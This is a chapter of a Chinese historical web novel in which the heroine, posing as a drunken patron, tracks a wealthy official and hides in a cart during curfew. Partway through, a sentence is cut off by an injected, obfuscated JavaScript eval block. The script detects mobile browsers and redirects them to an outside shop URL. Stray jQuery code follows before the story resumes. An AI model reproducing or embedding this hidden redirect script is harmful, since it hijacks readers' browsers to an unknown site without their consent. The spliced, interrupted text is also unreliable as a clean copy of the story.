鱼十一动作轻柔的搀着小侍女,缓缓坐在藤榻上。
侍女的身体猛地倾倒,撞进了鱼十一的怀里,托盘失力翻倾。酒杯掉落在洁白的地毯上,被残酒浸出一片暗红的水痕。
鱼十一皱眉探了探她的额头,烫得厉害,想来是真醉了。
她垂眸,状似无意,“古丽就是被包下了,贵客也总有不在的时候,就不能偷偷陪小爷耍耍?”
小侍女咛了两声,语声黏糊地呢喃道:“不行的,大萨宝总是宵禁前到这儿,日日如此。”
“照你这么说的话,那位大萨宝倒是看得很严喽,真想一亲古丽姑娘芳泽啊。”她说罢,怀里便传出了均匀粗重的呼吸声。
鱼十一伸出一根手指,抵她的脸颊上轻戳了几下,见她一直没有反应,才扶着她慢慢躺平。
“睡吧。”她轻声说道。
鱼十一望了眼窗外,天际赤色的云霞尚未消散,离宵禁还早着呢。
她打了个哈欠,往床尾挪了挪,倚着微凉的墙面,她满脸倦色,刚歇下困意便袭了上来。
她徐徐合上眼帘,翘挺的睫毛颤了颤,不肯睡熟。哪怕闭着眼,心神一直悬着,丝毫不敢漏听外面的声响。
一直等到将将入夜,房外才响起喧闹纷杂的说话声。白日里的闲散声响褪去,取而代之的是迎客的热闹动静,一听便是有大人物来了。
“萨宝今日来的早啊,古丽一直在楼上等着呢,您快请快请。”
其中鸨母的笑声最是高亢放荡,隔着门鱼十一也听得清楚。那笑声圆滑又谄媚,辨识度极高,直直穿透木门落进耳里。
鱼十一握半拳,用指节和腕掌掐起脸颊的嫩肉,直将白皙的肌肤捏得通红。
她快步向桌案抄起酒壶往手心里倒了些,合掌将手搓热,便尽数抹在脖颈上。不多时,浓烈的酒味便盖住了她原本清浅的气息。
她最后摸了一下发烫的肌肤,准备好后便一把打开房门,换上一副懵懂醉态,摇摇晃晃地冲了出去。
鱼十一脚步虚浮,身形摇晃,看着就是醉得站不稳的样子。
“鸨母,鸨母。”她捂着嘴打了个嗝,边跑边高声唤道,一头撞在了鸨母身上。
周遭的人一时停了声。所有人的目光都齐刷刷落过来,场面瞬间安静下来。
鱼十一抓着鸨母的手,蛮横无赖又口齿不清地问道:“古丽呢,让古丽陪我。”说着,又捂着嘴身体半躬着,在吐和不吐间又打了个嗝。
“这是……”对面一身华服,络腮胡的胖胡人面色愠怒。
他眉眼间满是不耐,周身气场也沉了下来,透着几分权贵的戾气。
鸨母推搡着鱼十一,紧忙赔笑着解释:“大萨宝勿怪,这是今天来找古丽的,没让古丽见他,一直在这儿等着您呢。”
鱼十一趁机细细打量那名大萨宝,正是先前在马车上撞见的那人。眉眼身形分毫不差,这下彻底确认了身份,心底悄悄松了口气。
萨宝尔珠重重一甩衣袖,阔步踏上楼梯,身后跟着三五个随从。一行人气势张扬,步履规整,看着戒备森严,规矩十足。
眼看计划得逞,鱼十一佯装腿软向后踉跄栽去,借着醉态顺势挣脱了鸨母的手。
她声调轻浮地唱诵着艳诗,身形歪歪扭扭,径自折回了包房。
鱼十一仔细地关好门,方才所有的醉态尽数褪去,眼底只剩清明冷静。
她扶着墙凝神思索,不自觉地轻轻咬着下唇的软肉。
忽而,她踉跄着来到藤榻旁,擒住小侍女纤细的腕子,用力摇晃着她的手臂。
躺在藤塌上的佳人嘤了一声,幽幽转醒。眼神迷蒙混沌,满脸睡意,一时还分不清周遭境况。
“让你来陪小爷饮酒,你倒睡得安逸。”鱼十一一屁股坐了下来,语气蛮横,“还不去给小爷端碗醒酒汤来!”刻意端起纨绔架子,语气骄纵不讲理。
侍女双眸还未回神,身体倒先动了起来,她猛地窜下床,躬着身子退到一旁。
她低头看了看自己整洁的衣衫,眼中闪过一丝不解,却不敢多问,垂首关上屋门出去了。
鱼十一踮着脚尖快速挪到门旁,把耳朵贴了上去细细听着,她浑身绷紧,目珠都在轻轻颤动。
听见脚步声渐渐变小,她扭身立即取出桌案后面的肩挎,匆匆取出里面的黑斗篷披在身上,又将挎包叠了叠塞到衣襟里。
她动作流畅迅疾,没有半分拖沓。
那斗篷极不合身,衣摆直直垂到了地面,她步子迈的急,竟一脚踩了上去。她整个人被牵扯着,倾倒在地。冰坚硬的桌角蹭到了膝盖,散发着阵阵钝痛,她咬紧牙关,半点声响也没从齿缝漏出。
鱼十一双手掐紧黑袍的下摆提到腰侧,她屈膝跃上桌案。
她推开窗子,借着夜色掩护,一个翻身便跳了出去,落地也没有丝毫踉跄。
外面的天色彻底暗了下来,波斯馆的后身便是隔绝两堵院墙的幽巷,巷子里黑漆漆一片,无人往来,阴影重重,正适合隐匿。
鱼十一拔下几根鬓发搓成了一捆,探了进去。发丝细软纤细,刚好能卡进窗缝的空隙里,不多不少。
她勾住了窗角的竖销,在窗户渐渐合上一条缝时,瞬间将头发抽出。
只听‘崩’的一声,竖销落了下去,窗户便从里面关牢了。做完这一切,屋内看起来和从未有人离开过一般,毫无破绽。
她扒着墙,一步三顾地朝外走。每走两步就回头扫视一圈,警惕着巷口和墙头的动静,生怕被人撞见。
鱼十一记得波斯馆正门右侧方,有一间西来药肆,匾额破旧想来是间老店,躲在里面不会引人发觉。
但怎么进去,又是一个问题。药肆门窗紧闭,四周空荡荡的,寻不到半点可潜入的缝隙。
正想着,一位头戴番帽,身形佝偻的老翁从店里走了出来。老人步履迟缓,看着年迈体弱,动作慢悠悠的。
他扛起推车上半人高的麻袋,颤颤巍巍地往屋子里头搬,每一步都走得吃力。
唉,倒是不容易。鱼十一暗暗叹了一声,看着堆满厚实麻袋的推车,眼睛倏地一亮,这车倒是能藏人。
那老翁一条腿刚迈进去,她便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766399|209713||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身形凌厉地窜了出去,瞬息间便跃上了车,得亏她灵巧又瘦溜并没弄出多大声音。
鱼十一在一堆香气熏人的麻袋里头,跪趴着往里头拱,把自己完完全全埋在货物深处,不留一丝缝隙,直到四外圈都被堵了个严实才罢手。
那老头一趟又一趟往返搬运,从不停歇,动作慢但坚持的久。
这宵禁的昏鼓还没敲呢,半车的货物都快搬完了。麻袋越搬越少,遮挡越来越薄,随时都有可能暴露在外。
眼见天色越来越沉,周遭的光线一点点暗下去,留给她躲藏的空间越来越小。
鱼十一瞧着缝隙里愈渗愈多的微光,心里头叫苦。
就在屁股后的袋子抖了几下后,她呼吸一滞,瞬息间从缝隙里探出一只手,掌心里还托着一袋碎银。
她哑着声音说:“车我包一晚,什么该说什么不该说,你知道。”
半晌,鱼十一的额头的汗珠都快流到唇角了,手上的重量才减轻。
“诶,诶。”一阵苍老的声音应了两声,便踢踢踏踏地离开了。
听到吱呀的关门声在耳畔响起,她才终于呼出了一口气。悬着的心稍稍落地,紧绷的脊背也悄悄松弛了些许。
须臾,坊市里的昏鼓接连敲响。咚咚鼓声沉厚悠远,传遍整条街巷,宣告着宵禁正式降临。
千家万户都熄了烛火,整座坊市静得能听见风声掠过街巷的声响,街上空空荡荡地,和黑夜一样沉寂,全无白日里的喧嚣繁华
唯有眼前的波斯馆还亮着灯,华光流彩的门大敞着,密集的鼓点在一片叫好中,愈加欢快。
鱼十一蜷缩不透风的麻袋堆里,浑身都闷出了薄汗,后背和脖颈的衣襟皆被浸湿了。燥热和紧张缠得她胸口发闷。
她丹唇半张着,秀丽的眉毛拧在一起,喘息声逐渐急促。氧气愈来愈稀薄,头也开始昏沉,她咬着舌尖逼自己清醒。
既然已经盯上梢了,便不能有丝毫松懈。
鱼十一伸手扒拉开面前的麻袋,空隙里时不时就探出一双圆溜溜的眼睛。
她也不敢一直张望,只能时不时抬眼扫视一圈,确认外头动静。
还没蹲多久,鱼十一的脚就开始酸麻了,现在就这么难受了,要是真盯梢一晚,她这腿不得废啊。
鱼十一面色灰败,她瘪着嘴,秀气的小脸也皱成了小包子,泛红的眼眶也凝满了水雾。
胃也适时地一阵阵绞痛了起来,她这一大天除了早上吃四个包子,啥也没吃上连水都没喝上一口。
这活,现在不干了能行吗?
唉,已经宵禁了,是有家也回不去了。
在这儿窝着也好过落金吾卫手里。她心底暗自叹气,进退两难,只能硬着头皮扛下来。
一阵铿锵有力的马蹄声霎时传来,声音越来越近,带着官府巡夜的肃杀之气。
他们阵列整齐,在地经过此处时,鱼十一才看清楚些,马上之人皆身穿铠甲,背着弓箭。他们面色凝肃,眼神如鹰隼般扫视着街道的每一寸。
正是巡夜的金吾卫,还真是想什么来什么。